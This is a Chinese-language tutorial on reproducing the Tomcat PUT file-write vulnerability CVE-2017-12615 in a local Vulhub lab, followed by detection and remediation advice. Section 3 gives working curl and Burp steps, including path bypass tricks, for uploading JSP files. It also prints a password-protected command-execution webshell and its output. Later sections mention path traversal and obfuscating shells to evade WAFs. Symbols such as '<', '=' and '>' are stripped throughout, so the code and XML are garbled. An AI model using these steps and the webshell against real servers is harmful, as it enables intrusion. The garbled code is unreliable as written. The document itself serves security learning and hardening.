原理与实战复现)
1. 项目概述从一次“意外”的文件上传说起几年前我在一次内部安全审计中遇到了一个非常典型的场景一个运行在Tomcat上的老旧业务系统外部扫描器突然告警提示存在“任意文件上传”风险。当时第一反应是检查常见的文件上传接口但代码审计了一圈并未发现显式的上传功能。直到深入追踪请求日志才发现了端倪——攻击者并没有使用POST到某个/upload接口而是直接向服务器根路径发送了HTTP PUT请求。这立刻让我联想到了那个经典的CVE编号CVE-2017-12615也就是Tomcat PUT方法任意写文件漏洞。这个漏洞的原理并不复杂但影响却非常深远。它源于Tomcat对HTTP PUT请求处理机制的一个安全配置缺陷。简单来说当管理员或开发人员为了某些特定需求比如WebDAV支持将Tomcat默认的readonly参数设置为false时就为攻击者打开了一扇“任意文件写入”的后门。攻击者可以绕过常规的文件上传检查直接将恶意脚本如JSP Webshell写入Web应用目录从而完全控制服务器。对于安全研究人员、渗透测试工程师和运维人员来说理解并复现这个漏洞至关重要。这不仅能帮助我们识别和修复自身环境中的风险更能深刻理解“默认安全”配置的重要性以及一个看似微小的配置项如何能引发一场安全灾难。本文我将以一个从业者的视角带你从零开始深入拆解CVE-2017-12615的成因、复现过程、利用技巧并分享一些实战中总结的排查与加固经验。2. 漏洞原理深度剖析为什么一个配置项能导致RCE要理解这个漏洞我们必须先抛开“漏洞”本身回到Tomcat作为一个HTTP服务器的基本功能上来。Tomcat不仅是一个Servlet/JSP容器它也实现了部分HTTP协议标准包括对PUT和DELETE方法的支持。PUT方法在HTTP语义中本意是用于向指定URI上传或替换资源。2.1 核心罪魁祸首readonly初始化参数在Tomcat的conf/web.xml配置文件中定义了一个名为DefaultServlet的默认Servlet它负责处理静态资源如HTML、图片以及对目录的访问。这个Servlet有一个关键的初始化参数init-param param-namereadonly/param-name param-valuetrue/param-value /init-paramreadonly参数的作用当设置为true默认值时DefaultServlet将拒绝处理HTTP PUT和DELETE请求。这是非常合理的安全设计因为对于大多数Web应用静态资源目录不应该允许客户端直接写入或删除文件。当设置为false时DefaultServlet便会启用对PUT方法的处理允许客户端向服务器上传文件。那么问题来了什么情况下需要将它设为false呢一个典型的合法场景是部署WebDAVWeb-based Distributed Authoring and Versioning服务。WebDAV允许用户通过HTTP协议直接管理服务器上的文件类似于一个网络磁盘这就需要开启PUT、DELETE等方法。然而许多开发者和运维人员可能并不清楚这个参数的具体含义或者在复制粘贴配置时无意中或为了“方便调试”而修改了它从而埋下了安全隐患。2.2 漏洞触发的关键条件仅仅readonlyfalse还不足以直接导致漏洞被利用。漏洞的成功利用还需要满足以下条件存在可写的Web应用目录攻击者通过PUT请求上传的文件必须能落在Tomcat的Web应用目录下例如webapps/ROOT这样上传的JSP文件才能被Tomcat的JspServlet解析执行。能够绕过JspServlet的拦截这是整个漏洞利用链条中最精妙的一环。Tomcat中对于以.jsp或.jspx结尾的请求会优先由JspServlet处理其逻辑是“编译和执行JSP文件”而不是“写入一个JSP文件”。如果直接PUT一个/shell.jsp请求会被JspServlet拦截由于该文件不存在通常会返回404错误而不会执行文件写入操作。2.3 绕过机制解析路径处理的“特性”攻击者如何绕过JspServlet呢这里利用了Tomcat以及底层操作系统在路径规范化Path Normalization时的一些“特性”Linux/Unix环境下的斜杠(/)绕过发送PUT请求到/shell.jsp/注意末尾的斜杠。Tomcat在收到请求后会进行路径处理。DefaultServlet在判断是否处理该请求时可能会因为末尾的斜杠将其视为一个目录从而接手处理。而在最终写入文件时Tomcat或操作系统可能会自动去除末尾的斜杠最终在磁盘上创建的文件名就是shell.jsp。这样请求绕过了JspServlet由DefaultServlet完成了文件写入。Windows环境下的多种绕过Windows系统的文件命名规则更为“宽松”提供了更多绕过姿势空格绕过shell.jsp末尾加空格。在HTTP请求中空格需要编码为%20即请求/shell.jsp%20。Windows在创建文件时会自动去除末尾空格最终生成shell.jsp。流文件绕过shell.jsp::$DATA。这是NTFS文件系统的特性::$DATA是默认的数据流标识符。当Tomcat在Windows上尝试创建shell.jsp::$DATA文件时系统实际创建的是shell.jsp。分号绕过shell.jsp;或shell.jsp:.jpg。在某些特定版本的Tomcat或配置下这些字符也可能被特殊处理。注意这些绕过手法高度依赖于Tomcat版本和操作系统。例如在较新版本的Tomcat中一些绕过方式可能已被修复。复现时需针对目标环境进行测试。漏洞利用链总结readonlyfalse-DefaultServlet处理PUT请求 - 利用路径处理特性如/shell.jsp/绕过JspServlet- 成功将包含恶意代码的JSP文件写入Web目录 - 直接访问该JSP文件触发代码执行实现远程命令执行RCE。3. 漏洞复现环境搭建与实操理论讲得再多不如亲手实践一遍。下面我将使用最经典的Vulhub漏洞环境进行复现。Vulhub是一个开源的漏洞靶场集成项目非常适合学习和研究。3.1 环境准备首先确保你的实验机器上安装了Docker和Docker Compose。这是运行Vulhub的基础。获取Vulhubgit clone https://github.com/vulhub/vulhub.git cd vulhub定位漏洞环境Tomcat CVE-2017-12615的环境位于tomcat/CVE-2017-12615目录下。cd tomcat/CVE-2017-12615查看配置文件在启动前我们可以先看一眼docker-compose.yml了解它构建了一个怎样的环境。version: 2 services: tomcat: image: vulhub/tomcat:7.0.81 ports: - 8080:8080它拉取了一个预置的Tomcat 7.0.81镜像并将容器的8080端口映射到宿主机的8080端口。这个镜像内部已经配置了readonlyfalse。3.2 启动漏洞环境在CVE-2017-12615目录下执行一条命令即可启动环境sudo docker-compose up -d-d参数表示在后台运行。执行成功后使用docker ps命令应该能看到一个Tomcat容器正在运行。3.3 漏洞利用实战手动构造PUT请求环境就绪后我们尝试手动利用漏洞。这里使用curl命令来模拟攻击者。第一步测试PUT请求是否被接受我们先尝试上传一个简单的文本文件。curl -X PUT http://localhost:8080/test.txt -d Hello, Vulhub!访问http://localhost:8080/test.txt如果能看到“Hello, Vulhub!”说明readonlyfalse已生效PUT方法可以写文件。但这只是写了静态文件还不够。第二步尝试上传JSP Webshell直接失败直接上传JSP文件会被JspServlet拦截。curl -X PUT http://localhost:8080/shell.jsp -d “% out.println(“test”); %”访问http://localhost:8080/shell.jsp大概率会返回404或500错误因为JspServlet找不到这个文件去编译执行而DefaultServlet并没有成功写入。第三步使用绕过技巧上传JSP Webshell成功这里我们使用Linux环境下最有效的/绕过法。curl -X PUT http://localhost:8080/shell.jsp/ -d ‘% “Hello, World!” %’注意命令中的/shell.jsp/。执行后如果返回HTTP/1.1 201 Created状态码恭喜你文件上传成功了第四步验证与利用访问上传的Webshellhttp://localhost:8080/shell.jsp。页面应该会显示“Hello, World!”这证明JSP代码已被执行。上传功能更强大的Webshell。这里提供一个带密码验证和命令执行回显的JSP木马出于安全学习目的% if (“ocean”.equals(request.getParameter(“pwd”))) { java.io.InputStream in Runtime.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a -1; byte[] b new byte[2048]; out.print(“pre“); while ((a in.read(b)) ! -1) { out.print(new String(b, 0, a)); } out.print(“/pre“); } %使用curl上传curl -X PUT http://localhost:8080/cmd.jsp/ -d ‘% if (“ocean”.equals(request.getParameter(“pwd”))) { java.io.InputStream in Runtime.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a -1; byte[] b new byte[2048]; out.print(“pre“); while ((a in.read(b)) ! -1) { out.print(new String(b, 0, a)); } out.print(“/pre“); } %’访问Webshell并执行命令http://localhost:8080/cmd.jsp?pwdoceancmdid页面会返回当前容器内运行Tomcat的用户信息如uid1000(tomcat) gid1000(tomcat) groups1000(tomcat)这标志着我们已经成功通过漏洞获得了服务器的命令执行权限。3.4 使用Burp Suite进行可视化利用对于更复杂的操作或渗透测试使用Burp Suite会更方便。配置浏览器代理指向Burp。访问Tomcat首页Burp会捕获到GET请求。在Burp的Proxy - Intercept标签页将拦截到的请求右键发送到Repeater模块。在Repeater中将请求方法从GET改为PUT。将请求路径修改为存在绕过漏洞的形式例如PUT /backdoor.jsp/ HTTP/1.1。在请求体Body中填入JSP木马代码。点击“Send”发送请求。观察响应若状态码为201则表示成功。切换到浏览器直接访问/backdoor.jsp测试木马是否生效。实操心得在实际渗透测试中如果直接PUT.jsp文件失败不要轻易放弃。应系统性地尝试所有已知的绕过技巧/.jsp,/.jsp/,/.jsp%20,/.jsp::$DATAWindows/.jsp;.jpg等。这步“绕过”是漏洞利用成败的关键。4. 漏洞影响范围与排查方案CVE-2017-12615并非一个通杀所有Tomcat版本的漏洞其影响有特定的范围。4.1 受影响的版本Apache Tomcat 7.x版本 7.0.81 (2017年9月19日发布)Apache Tomcat 8.x版本 8.5.16 (2017年9月19日发布)Apache Tomcat 9.x版本 9.0.1 (2017年9月19日发布)关键点漏洞的根源在于readonly配置和路径处理逻辑因此影响版本的核心判断标准是readonly参数是否被设置为false。即使版本在受影响范围内如果readonly保持默认的true该漏洞也无法被利用。反之如果版本不在上述列表但配置了readonlyfalse也可能存在由其他未公开的路径处理问题导致类似风险。4.2 企业内网排查方法在真实的企业环境中如何快速排查是否存在此漏洞风险呢配置检查治本定位Tomcat的conf/web.xml文件。查找DefaultServlet的配置部分检查readonly初始化参数的值。安全配置应为param-valuetrue/param-value。如果发现param-valuefalse/param-value则存在风险配置。网络扫描与探测治标使用漏洞扫描器如Nessus, OpenVAS, AWVS对目标Tomcat服务进行扫描可以快速识别出此CVE。使用命令行工具进行手动探测# 尝试PUT一个无害文件探测readonly状态 curl -X PUT http://target:8080/probe.txt -d “test” -v # 如果返回201 Created或204 No Content则说明PUT方法可用风险极高。 # 进一步尝试绕过上传JSP需谨慎避免违法 # curl -X PUT http://target:8080/probe.jsp/ -d “%12%” -v查看Tomcat的access_log日志搜索异常的PUT请求方法是发现攻击迹象的重要途径。版本检查访问Tomcat默认首页底部通常会显示版本号。或者检查lib目录下catalina.jar的版本信息。比对版本是否在受影响范围内。4.3 漏洞修复方案修复此漏洞的方法非常明确且有以下不同层级的方案方案一修改配置推荐立即生效编辑conf/web.xml找到DefaultServlet确保其readonly参数值为true。servlet servlet-namedefault/servlet-name servlet-classorg.apache.catalina.servlets.DefaultServlet/servlet-class init-param param-namereadonly/param-name param-valuetrue/param-value !-- 确保这里是true -- /init-param load-on-startup1/load-on-startup /servlet修改后必须重启Tomcat服务使配置生效。重启后所有PUT请求都将被拒绝返回403禁止访问。方案二升级Tomcat版本升级到已修复该漏洞的版本Tomcat 7.x 升级至 7.0.81 或更高。Tomcat 8.x 升级至 8.5.16 或更高。Tomcat 9.x 升级至 9.0.1 或更高。 新版本不仅修复了此漏洞还可能包含其他重要安全更新。升级后同样建议确认readonly配置为true。方案三网络层防护如果因业务原因暂时无法修改配置或升级可在网络边界如WAF、防火墙、负载均衡器上设置规则拦截或过滤发往Tomcat的HTTP PUT和DELETE请求。这是一种临时缓解措施。方案四文件系统权限限制确保Tomcat进程运行用户如tomcat用户对Web应用目录webapps/ROOT等仅有读取和执行权限而没有写入权限。这样即使漏洞被利用攻击者也无法写入文件。但这可能影响应用自身的正常文件写入功能如日志、缓存。注意事项修改web.xml后重启是最根本的修复方式。在重启前务必评估业务是否依赖PUT/DELETE方法如WebDAV。如果不确定可以在测试环境先进行验证。5. 高级利用技巧与防御演进在真实的攻防对抗中攻击者的手法和防御方的策略都在不断演进。5.1 利用技巧的变种文件路径穿越如果PUT请求的路径可控攻击者可能会尝试目录穿越将Webshell写入更隐蔽或更高权限的路径。例如PUT /../../../../tmp/shell.jsp/。这取决于Tomcat的安全配置如是否启用allowLinking和操作系统权限。代码混淆与免杀上传的JSP木马可能会进行编码如Base64、加密或字符串拼接以绕过简单的WAF规则或静态代码扫描。例如将Runtime.getRuntime().exec()拆分成字符串再拼接。无文件利用尝试在严格限制文件写入的环境中攻击者可能会尝试利用PUT请求覆盖已有的关键配置文件如web.xml或者结合其他漏洞如解析特性、本地文件包含来达到目的但这通常比直接写JSP Webshell困难得多。5.2 防御措施的加强安全配置基线除了readonlytrueTomcat还有一系列安全加固配置如禁用不必要的HTTP方法在web.xml中配置security-constraint。设置严格的file和allowLinking参数。使用安全管理器Security Manager。定期更新至稳定版本。运行时保护RASP在应用层部署运行时应用自我保护系统可以监控并阻断异常的JSP文件创建、敏感命令执行等行为即使漏洞被利用也能在最后一步进行拦截。加强日志审计详细记录所有HTTP请求特别是非GET/POST的请求PUT, DELETE, TRACE等并设置告警规则对异常的PUT请求进行实时告警。最小权限原则Tomcat进程应以低权限用户非root运行并且其对Web目录的权限应严格控制。结合文件系统完整性监控如AIDE, Tripwire一旦发现Web目录下新增异常JSP文件立即告警。5.3 从漏洞中学习的开发与运维规范这个漏洞给我们的启示远不止于一个CVE的修复对默认配置保持敬畏开源中间件的默认配置通常是经过安全权衡的。随意修改默认配置尤其是与安全相关的参数readonly,debug,allowLinking等必须经过充分评估和测试并记录在案。理解功能与安全的平衡开启WebDAV这类功能带来了便利也引入了风险。如果非必需应坚决关闭。如果必需则应考虑将其部署在独立的、经过严格加固的服务中并与主业务应用隔离。安全左移在软件开发生命周期的早期设计、编码阶段就考虑安全。例如在代码审查时关注任何修改服务器配置文件的操作。定期漏洞扫描与配置核查将中间件安全配置核查纳入日常运维流程。使用自动化工具定期扫描线上服务的配置是否符合安全基线。CVE-2017-12615是一个“配置型”漏洞的经典案例。它告诉我们安全不仅仅在于没有bug的代码更在于正确、安全的系统配置和运维习惯。作为技术人员我们复现漏洞的目的是为了更好地理解攻击链从而构建起更立体、更深入的防御体系。每一次成功的漏洞复现都应该是我们安全能力的一次加固。